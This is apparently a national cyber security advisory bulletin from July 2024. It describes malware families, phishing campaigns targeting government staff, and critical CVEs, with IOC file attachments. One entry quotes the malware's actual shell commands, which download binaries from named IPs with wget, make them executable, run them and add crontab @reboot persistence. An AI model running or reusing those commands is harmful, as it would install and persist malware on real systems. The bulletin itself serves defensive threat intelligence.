**Cyber Security Advisories**

**Date: 17 July 2024**

1. **Adv/2024/Jun/040**

Reference is made to earlier advisories on GH0ST RAT Malware.

GH0ST RAT Malware is a backdoor written in C++ which communicates via a custom binary protocol over TCP or UDP. The Malware has the capability of capturing screenshots, keylogger, remote shell and command execution, reversing proxy, file transfer and file management.

**IOCs: IOC\_Adv2024Jun040.txt attached**

1. **Adv/2024/Jun/041**

Reference is made to earlier advisories on Emotet Malware.

Emotet is an advanced, modular banking Trojan that primarily functions as a downloader or dropper of other banking Trojans.

**IOCs: IOC\_Adv2024Jun041.txt attached**

1. **Adv/2024/Jun/042**

Reference is made to earlier advisories on Qbot Malware.

Qbot, also known as QakBot is a common trojan malware designed to steal passwords and has recently developed backdoor functionality.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jun042.txt attached**

1. **Adv/2024/Jun/043**

Reference is made to earlier advisories on QuasarRAT  Malware.

Quasar RAT malware, a fast and light-weight publicly available Windows Remote Administration Tool (RAT) coded in C# has the capability of capturing screenshots, keylogger, gathering system information, remote Shell and command execution, reversing proxy, managing tasks and files, configuring & building client executables.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jun043.txt attached**

1. **Adv/2024/Jun/044**

Reference is made to earlier advisories on Racoon Malware.

Raccoon, an info stealer malware, is available as a Malware as a Service (MaaS). The malware has the capability to check system settings, capture screenshots, collect basic information like OS version, IP & username and steal passwords & logins from a variety of browsers.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jun044.txt attached**

1. **Adv/2024/Jun/045**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

**IOCs: IOC\_Adv2024Jun045.txt attached**

1. **Adv/2024/Jul/001**

Based on analysis, please find attached malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

**IOCs: IOC\_Adv2024Jul001.txt attached**

1. **Adv/2024/Jul/002**

Reference is made to earlier NCIIPC  Advisories on the Subject.

PFA the additional IoCs in this regard.

**IOCs: IOC\_Adv2024Jul002.txt attached**

1. **Adv/2024/Jul/003**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

The spear-phishing email contains an archive file named as "PCBL\_05\_25\_JUNE\_2024\_IPs Consolidation.zip". Upon clicking, PCBL\_05\_25\_JUNE\_2024\_IPs Consolidation.desktop" is extracted, which is a malicious file. On clicking the "PCBL\_05\_25\_JUNE\_2024\_IPs Consolidation.desktop file, a PDF file named as "PCBL\_05\_25\_JUNE\_2024\_IPs Consolidation.pdf" is downloaded from the link ''https://drive.google.com/file/d/1cAPvjfakAWIHVa\_cZXw\_iwLDqsIi1uRX/view?usp=sharing" and opened. The file is not malicious, and is being used as a decoy to convince the victim of the legitimacy of the email.

Simultaneously following commands get executed in the background:

* wget 165.22.221.71/distro-dlna -O ~/.local/share/fonts-utils && chmod +x ~/.local/share/fonts-utils
* ~/.local/share/fonts-utils >/dev/null 2>&1 & sleep 5f wget 178.128.166.148/cjs-bin -O ~/.local/share/cjs-bin && chmod +x ~/.local/share/cjs-bin; ~/.local/share/cjs-bin
* echo '@reboot ~/.local/share/cjs-bin'>>/dev/shm/myc.txt
* echo '@reboot ~/.local/share/fonts-utils'>>/dev/shm/myc.txt; crontab -u `whoami` /dev/shm/myc.txt
* rm /dev/shm/myc.txt;~/.local/share/cjs-bin
* rm /dev/shm/myc.txt;~/.local/share/fonts-utils &

These commands download 2 ELF Linux Poseidon Malware files, namely "cjs-bin" and "distro-dlna" and saves them in the local directory and changes their permission and executes them. Upon execution of these files, it connects with the Command & Control (C2) server IP.

**IOCs: IOC\_Adv2024Jul003.txt attached**

1. **Adv/2024/Jul/004**

Reference is made to earlier NCIIPC  Advisories on the Subject. PFA the additional IoCs in this regard.

**IOCs: IOC\_Adv2024Jul004.txt attached**

1. **Adv/2024/Jul/009**

Reference is made to earlier advisory on Lockbit Ransomware.

It has been observed that Lockbit ransomware is demonstrating a formidable capability for autonomously spreading within targeted organizations, harnessing tools such as Windows PowerShell and Server Message Block (SMB). Adversary has automated features of self-propagation mechanism propelled by pre-defined automated procedures. Upon compromising an initial host, LockBit swiftly identifies and links with other susceptible hosts, spreading the infection via a script devoid of human intervention. Adversary employs sophisticated evasion techniques to circumvent detection by endpoint security systems.

After infiltration, the adversary steels the victim’s data then encrypts their systems and rendering them inaccessible for ransomware.

1. **Adv/2024/Jul/010**

**Vulnerability in Pear Admin Boot**

A SQL injection vulnerability has been discovered in Pear Admin Boot. The affected versions are Pear Admin Boot up to 2.0.2.

CVE ID: CVE-2024-6241 (Critical)

**Vulnerability in Parallels Desktop Software**

An improper privilege management vulnerability has been discovered in the Parallels Desktop Software. The affected versions are Parallels Desktop Software versions earlier than 19.3.0.

CVE ID: CVE-2024-6240 (Critical)

**Vulnerability in PHP**

A vulnerability has been discovered in the PHP that can allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc. The affected versions are PHP versions 8.1.\* before 8.1.29, 8.2.\* before 8.2.20, and 8.3.\* before 8.3.8.

CVE ID: CVE-2024-4577 (Critical)

**Vulnerability in EmailGPT Service**

A prompt injection vulnerability has been discovered in the EmailGPT service that allows a malicious user to inject a direct prompt and take over the service logic.

CVE ID: CVE-2024-5184 (Critical)

**Vulnerability in WooCommerce - Social Login plugin for WordPress**

A PHP object injection vulnerability has been discovered in the WooCommerce - Social Login plugin for WordPress. The affected versions are WooCommerce - Social Login plugin for WordPress versions up to, and including, 2.6.2.

CVE ID: CVE-2024-5871 (Critical)

**Vulnerability in ASUS Router**

An authentication bypass vulnerability has been discovered in the ASUS router that allows unauthenticated remote attackers to log into the device.

CVE ID: CVE-2024-3080 (Critical)

**Vulnerability in Progress Telerik Report Server**

An authentication bypass vulnerability has been discovered in the Progress Telerik Report Server. The affected versions are Progress Telerik Report Server version 2024 Q1 (10.0.24.305) or earlier.

CVE ID: CVE-2024-4358 (Critical)

1. **Adv/2024/Jul/011**

It has been observed that a directory transversal vulnerability in SolarWinds Serv-U file transfer software (CVE-2024-28995) is being actively exploited by threat actors using CHAOS RAT malware. The vulnerability can allow adversaries to read sensitive files on the host machine.

**Affected Products:** SolarWinds Serv-U 15.4.2 HF 1 and previous versions

**Vulnerable Versions:**

Serv-U FTP Server 15.4

Serv-U Gateway 15.4

Serv-U MFT Server 15.4

Serv-U File Server 15.4

**Fixed Software Release:** SolarWinds Serv-U 15.4.2 HF 2

1. **Adv/2024/Jul/005**

Reference is made to earlier advisories on Amadey Malware.

Amadey, a Trojan bot, is used for collecting information on a victim's environment and also capable of delivering other malware.

**IOCs: IOC\_Adv2024Jul005.txt attached**

1. **Adv/2024/Jul/006**

Reference is made to earlier advisories on Trickbot Malware.

Trickbot is a highly modular malware, capable of performing a number of actions on a network, such as stealing information or dropping ransomware.

**IOCs: IOC\_Adv2024Jul006.txt attached**

1. **Adv/2024/Jul/007**

Reference is made to earlier advisories on Ursnif Malware.

Ursnif, also known as Gozi, is a Banking Trojan. Its variants also include components such as backdoors, spyware, file injectors, capable of a wide variety of behaviors.

**IOCs: IOC\_Adv2024Jul007.txt attached**

1. **Adv/2024/Jul/008**

It has been observed that Spark RAT, an open source cross-platform Remote Access Trojan (RAT), written in Golan, is capable of evading detection by checking virtual machines and debuggers on the compromised machine. The malware is delivered through the download and execution of batch files or LOLBins. LOLBins refer to the use of legitimate, built-in system binaries or processes to execute malicious activities.

SparkRAT is used by threat actors due to its multi-platform capabilities and frequent updates.

**IOCs: IOC\_Adv2024Jul008.txt attached**

**Recommendation:**

* It is recommended that organisations should apply the attached IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

1. **Adv/2024/Jul/012**

It has been observed that Pantegana is an open-source malware family written in Go that features a cross-platform payload client (Windows, Linux, OSX) and uses HTTPS for Commsnd & Control (C2) communications. It supports file upload and download, system fingerprinting, and direct command-line interaction with infected hosts. It also supports obfuscation using the open-source obfuscator Garble. The Pantegana RAT uses a distinctive default certificate for its servers.

**IOCs: IOC\_Adv2024Jul012.txt attached**

1. **Adv/2024/Jul/013**

Reference is made to earlier advisories on SocGholish Malware.

SocGholish malware uses social engineering to infect systems. It tricks users into running a malicious JavaScript payload that masquerades as a system or software update, such as a critical browser update.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jul013.txt attached**

1. **Adv/2024/Jul/014**

Reference is made to earlier advisories on RedLine Malware.

Redline malware, written in C#, has capabilities of stealing credentials, collecting information from the infected machine and also downloading remote files.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jul014.txt attached**

1. **Adv/2024/Jul/015**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. These phishing campaigns are more evolved and use novel methods to detect the attack. It is envisaged that the number of phishing Emails is on the rise.

**The modus operandi being followed by adversaries for spreading phishing mails is as follows:**

**1. Delivery:**A phishing email has a convincing subject to urge the recipient to click on a malicious link/download an attachment. The adversary additionally uses vishing as a tactic, to create a sense of urgency for opening the said email. This combination of vishing and phishing has become a preferred method of delivery used by the adversary.

**2. Use of Novel Tactics:**

* **Website Mimicking/Cloning:**Adversaries are using website cloning/ mimicking and fake popup ‘Sign In’ dialogue boxes to steal login credentials.
* **Malicious Attachments/Malware:**Phishing email may contain malicious attachments/malware disguised as legitimate documents, reports or software updates. Once opened, these attachments can install malware on systems, allowing attackers to exfiltrate data or gain control of critical infrastructures.  Recently, it has been observed that phishing email is dropping Poseidon Malware for BOSS OS/Windows OS.
* **Credential Harvesting:**Phishing websites or emails mimic the login pages of internal systems or classified portals. The victim may enter their credentials, which are captured by the attackers for unauthorized access or for further spreading phishing mail.
* **Dark Web:**Cyber criminals extract sensitive data from email accounts of victims through phishing or credential theft and package and sell the information on Dark web marketplaces.

**Preventive Measures:**

1. Regular cybersecurity training must be organised with the aim of educating employees about the dangers of phishing attacks, recognition of phishing mails/vishing calls and actions to be taken in case of receipt of suspicious mail.

2. Personnel must be sensitised to not click on suspicious links in emails or open attachments from unknown/unverified sources.

3. Genuineness of the website must be verified by verifying the address displayed in the address bar of the browser.

4. Regular backup of important files and data to a secure location must be carried out to mitigate the risk of data loss in the event of a successful phishing attack.

5. Operating Systems and Antivirus of Internet-facing PCs should be updated regularly.

6. All personnel must refrain from clicking SMS/Social media messages with embedded links/video/audio files from untrusted sources.

7. No sensitive/classified documents of any kind are to be stored on the internet PC or transacted over the internet.

**Mitigation Measures:**

1. **Isolate victim Device(s):** Isolate infected device(s) from the network to prevent infection of other PCs or further data exfiltration.

2. **Change Passwords:** Changed passwords for all affected accounts from the victim's PC to a secure PC. Use strong & unique passwords and ensure that Multi Factor Authentication (MFA) is being used.

3. **Report the Incident:** The incident must be reported to the CISO of the organisation.

4. **Sanitise Victim PCs**: Sanitise the victim's PC prior to further usage.

1. **Adv/2024/Jul/016**

Presence of malicious IP has been found in Indian Cyberspace.

**IOCs: IOC\_Adv2024Jul016.txt attached**

1. **Adv/2024/Jul/017**

It has been observed that a Rust-based stealer known as Fickle Stealer is distributed through a VBA dropper, VBA downloader, link downloader and executable downloader. The attack chain starts with a Word document. Its VBA macro loads an XML file stored in the caption of a UserForm object and executes a script encoded with Windows Script Encoder in the XML file. The stealer is protected by a packer, which is disguised as a legal executable. Adversary made the packer by replacing some code of a legal executable with the packer’s code. The packer only allocates memory to write the decrypted payload data and then executes it in memory.

            Fickle Stealer creates a mutex to prevent a race condition. It performs a series of anti-analysis checks and exits the process. It shows a fake error message before terminating the process. The stealer searches sensitive files in parent directories of common installation directories to ensure comprehensive data gathering.

**IOCs: IOC\_Adv2024Jul017.txt attached**

1. **Adv/2024/Jul/018**

**Vulnerability in Issabel PBX**

An Operating System (OS) command injection vulnerability has been discovered in Issabel PBX. The affected version is Issabel PBX 4.0.0.

CVE ID: CVE-2024-0986 (Critical)

**Vulnerability in OpenHarmony**

An out of bounds write vulnerability has been discovered in OpenHarmony. The affected versions are OpenHarmony v4.0.0 and prior.

CVE ID: CVE-2024-37185 (Critical)

**Vulnerability in MongoDB**

A code injection vulnerability has been discovered in MongoDB Compass. The affected versions are MongoDB Compass versions prior to version 1.42.2.

CVE ID: CVE-2024-6376 (Critical)

**Vulnerability in Langflow**

A Remote Code Execution (RCE) vulnerability has been discovered in Langflow. The affected versions are Langflow through 0.6.19.

CVE ID: CVE-2024-37014 (Critical)

**Vulnerability in mySCADA's Equipment**

Use of hard coded password vulnerability has been discovered in mySCADA's Equipment- myPRO that can cause Remotely Code Execution (RCE) on the affected device. The affected versions are myPRO prior to 8.31.0. The mitigation is available.

CVE ID: CVE-2024-4708 (Critical)

**Vulnerability in PTC's Equipment**

A missing authorization vulnerability has been discovered in PTC's Equipment- Creo Elements/Direct License Server that allows to execute arbitrary OS commands. The affected versions are Creo Elements/Direct License Server: version 20.7.0.0 and prior.

CVE ID: CVE-2024-6071 (Critical)

**Progress Security Updates for MOVEit Transfer**

Progress has released security updates to resolve an authentication bypass vulnerability for MOVEit Transfer (SFTP module). The affected versions are MOVEit Transfer from 2023.0.0 before 2023.0.11, from 2023.1.0 before 2023.1.6, from 2024.0.0 before 2024.0.2.

CVE ID: CVE-2024-5806 (Critical)

1. **Adv/2024/Jul/022**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

**IOCs: IOC\_Adv2024Jul022.txt attached**

1. **Adv/2024/Jul/019**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Modus Operandi of the Phishing Attack: -

1. The spear-phishing email contains a hyperlink which is a mimicked/cloned page of a known website. The IP address of the malicious domain is hosted on a dedicated server. The domain is involved in compromising the user credentials/propagating malware payload.

2. The spear-phishing email contains a hyperlink which is a mimicked/cloned page of “nia.gov.in” with the title “PRESS RELEASE”. Inside the page there is a “Download” button. Upon clicking the download button, it gives a pop-up which asks for the username and password of the NIC mail account.

**IOCs: IOC\_Adv2024Jul019.txt attached**

1. **Adv/2024/Jul/020**

Based on analysis, please find attached malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

**IOCs: IOC\_Adv2024Jul020.txt attached**

1. **Adv/2024/Jul/021**

Reference is made to earlier advisories on the above Subject.

PFA the additional IoCs in this regard.

**IOCs: IOC\_Adv2024Jul021.txt attached**

1. **Adv/2024/Jul/022**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

**IOCs: IOC\_Adv2024Jul022.txt attached**

1. **Adv/2024/Jul/024**

**Multiple Vulnerabilities in Citrix NetScaler Products**

Multiple vulnerabilities have been discovered in Citrix NetScaler Console, NetScaler SVM, and NetScaler Agent. The mitigations are available.

CVE ID: CVE-2024-6235 (Critical), CVE-2024-6236 (High)

**Vulnerability in Product Table of WBW plugin for WordPress**

A Remote Code Execution (RCE) vulnerability has been discovered in the Product Table of the WBW plugin for WordPress. The affected versions are the Product Table of the WBW plugin for WordPress all versions up to, and including, 2.0.1.

CVE ID: CVE-2024-6365 (Critical)

**Vulnerability in 14Finger**

An arbitrary user deletion vulnerability has been discovered in 14Finger. The affected version is 14Finger v1.1.

CVE ID: CVE-2024-37768 (Critical)

**Vulnerability in Volmarg Personal Management System**

A Server Side Request Forgery (SSRF) vulnerability has been discovered in Volmarg Personal Management System. The affected version is Volmarg Personal Management System 1.4.64.

CVE ID: CVE-2024-29319 (Critical)

**Vulnerability in goanother Another Redis Desktop Manager**

A Cross Site Scripting (XSS) vulnerability has been discovered in goanother Another Redis Desktop Manager. The affected versions are goanother Another Redis Desktop Manager 1.6.1 and below.

CVE ID: CVE-2024-23998 (Critical)

**Vulnerability in Lukas Bach yana**

A Cross Site Scripting (XSS) vulnerability has been discovered in Lukas Bach yana. The affected version is Lukas Bach yana 1.0.16 and below.

CVE ID: CVE-2024-23997 (Critical)

**Vulnerability in SeaCMS**

An arbitrary code execution vulnerability has been discovered in SeaCMS. The affected versions are SeaCMS 12.9 and below.

CVE ID: CVE-2024-39028 (Critical)

**Multiple Vulnerabilities in ABB's ASPECT system**

Unauthorized file access and Remote Code Execution (RCE) vulnerabilities have been discovered in ABB's ASPECT system. The affected versions are ASPECT®- Enterprise 3.08.01 and earlier, NEXUS Series 3.08.01 and earlier and MATRIX Series 3.08.01 and earlier. The mitigations are available.

CVE ID: CVE-2024-6209 (Critical), CVE-2024-6298 (Critical)

**Microsoft Released July 2024 Security Updates**

Microsoft has released security updates to address critical, high, and medium vulnerabilities in its products. An attacker can exploit some of these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-38076 (Critical), CVE-2024-38077 (Critical), CVE-2024-38074 (Critical), CVE-2024-38089 (Critical)

**Multiple Vulnerabilities in Siemens Products**

Multiple vulnerabilities have been discovered in several Siemens products. Siemens has released security updates, workarounds and mitigations to resolve vulnerabilities.

CVE ID: CVE-2024-23113 (Critical), CVE-2024-21762 (Critical), CVE-2024-3400 (Critical), CVE-2024-3596 (Critical), CVE-2024-39872 (Critical)

**Android Security Updates**

Android has released a security bulletin to resolve multiple vulnerabilities affecting several Android devices. Security patch levels of 2024-07-05 or later, address all of these issues.

CVE ID: CVE-2024-31320 (Critical), CVE-2024-31331 (High), CVE-2024-34720 (High), CVE-2024-34723 (High), CVE-2024-31332 (High), CVE-2024-31339 (High), CVE-2024-34722 (High), CVE-2024-34721 (High), CVE-2024-26923 (High), CVE-2024-0153 (High), CVE-2024-4610 (High), CVE-2024-31334 (High), CVE-2024-31335 (High), CVE-2024-34724 (High), CVE-2024-34725 (High), CVE-2024-34726 (High), CVE-2024-20076 (High), CVE-2024-20077 (High), CVE-2024-23368 (High), CVE-2024-23372 (High), CVE-2024-23373 (High), CVE-2024-23380 (High), CVE-2024-21461 (High), CVE-2024-21460 (High), CVE-2024-21462 (High), CVE-2024-21465 (High), CVE-2024-21469 (High)

1. **Adv/2024/Jul/025**

It has been reported that attached IOCs are active in Indian CyberSpace.

**IOCs: IOC\_Adv2024Jul025.txt attached**

1. **Adv/2024/Jul/026**

It has been observed that the Atomic Stealer aka Atomic macOS Stealer or “AMOS” is a malware designed to steal data from infected Mac devices.  Adversary uses variants of AMOS malware masquerading as legitimate Mac applications packaged into malicious Disk Image (DMG) installer files. Adversary delivers the infostealer via malvertising and Search Engine Optimization (SEO) poisoning techniques. The latest AMOS variant can exfiltrate victims’ documents, credentials in the keychain database, cryptocurrency wallet data, and browser data to the Command and Control (C2) server. It also establishes a backdoor in the infected machine to execute arbitrary commands as directed by the C2 server.  The latest variant, when executed on Mac, executes an Apple script instructing the terminal application to hide from the user’s view on the desktop, allowing malicious activity to remain hidden from the victim. It leverages the operating system’s native functions, such as “socket()”, “connect()”, “inet\_addr()”, “send()” and “receive()” to exfiltrate the collected victim’s ZIP archive file to the C2 server. It uses a hardcoded IP address in the binary to connect with the C2 server.  After establishing a successful connection to the C2 server, the stealer creates a base64-encoded data stream of the ZIP archive file in the memory and transfers the encoded data stream using an HTTP POST request.

**IOCs: IOC\_Adv2024Jul026.txt attached**

1. **Adv/2024/Jul/027**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The spear-phishing email contains a hyperlink which is currently not working. The IP address of the malicious domains is hosted on a shared server. The domain is involved in compromising the user credentials/propagating malware payload.

**IOCs: IOC\_Adv2024Jul027.txt attached**

1. **Adv/2024/Jul/029**

Reference is made to earlier advisories on QuasarRAT  Malware.

Quasar RAT malware, a fast and light-weight publicly available Windows Remote Administration Tool (RAT) coded in C# has the capability of capturing screenshots, keylogger, gathering system information, remote Shell and command execution, reversing proxy, managing tasks and files, configuring & building client executables.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jul029.txt attached**

1. **Adv/2024/Jul/030**

Reference is made to earlier advisories on Racoon Malware.

Raccoon, an info stealer malware, is available as a Malware as a Service (MaaS). The malware has the capability to check system settings, capture screenshots, collect basic information like OS version, IP & username and steal passwords & logins from a variety of browsers.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jul030.txt attached**

1. **Adv/2024/Jul/031**

Reference is made to earlier advisories on RedLine Malware.

Redline malware, written in C#, has capabilities of stealing credentials, collecting information from the infected machine and also downloading remote files.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jul031.txt attached**

1. **Adv/2024/Jul/033**

Reference is made to earlier advisories on SocGholish Malware.

SocGholish malware uses social engineering to infect systems. It tricks users into running a malicious JavaScript payload that masquerades as a system or software update, such as a critical browser update.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jul033.txt attached**

1. **Adv/2024/Jul/034**

Reference is made to earlier advisories on Ursnif Malware.

Ursnif, also known as Gozi, is a Banking Trojan. Its variants also include components such as backdoors, spyware, file injectors, capable of a wide variety of behaviors.

**IOCs: IOC\_Adv2024Jul034.txt attached**

1. **Adv/2024/Jul/035**

Reference is made to earlier advisories on Qbot Malware.

Qbot, also known as QakBot is a common trojan malware designed to steal passwords and has recently developed backdoor functionality.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jul035.txt attached**

1. **Adv/2024/Jul/036**

Reference is made to earlier advisories on Amadey Malware.

Amadey is a Trojan bot which is used for collecting information on a victim's environment and also capable of delivering other malware.

**IOCs: IOC\_Adv2024Jul036.txt attached**

1. **Adv/2024/Jul/037**

It has been reported that IOCs related to Redfoxtrot & SugarGh0st RAT  are active in Indian CyberSpace.

Redfoxtrot is associated with PLA Unit 69010, which runs cyber espionage campaign against various sectors and SugarGh0st RAT is a remote access trojan, which is a customized variant of Gh0stRAT.

**IOCs: IOC\_Adv2024Jul037.txt attached**